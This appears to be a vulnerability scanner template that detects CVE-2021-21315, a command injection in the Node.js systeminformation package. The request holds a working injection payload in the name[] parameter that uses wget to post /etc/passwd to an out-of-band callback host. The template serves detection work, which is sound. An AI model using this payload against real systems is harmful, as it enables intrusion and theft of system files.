id: CVE-2021-21315

info:
  name: Node.js Systeminformation Command Injection
  author: pikpikcu
  severity: high
  description: The System Information Library for Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information. In systeminformation before version 5.3.1 there is a command injection vulnerability. Problem was fixed in version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.
  reference:
    - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
    - https://security.netapp.com/advisory/ntap-20210312-0007/
    - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
    - https://www.npmjs.com/package/systeminformation
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2021-21315
    cwe-id: CWE-78
  tags: nodejs,cve,cve2021,cisa

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - "wget --post-file /etc/passwd {{interactsh-url}}"
          - name
          - running
          - pids
        part: body
        condition: and

      - type: status
        status:
          - 200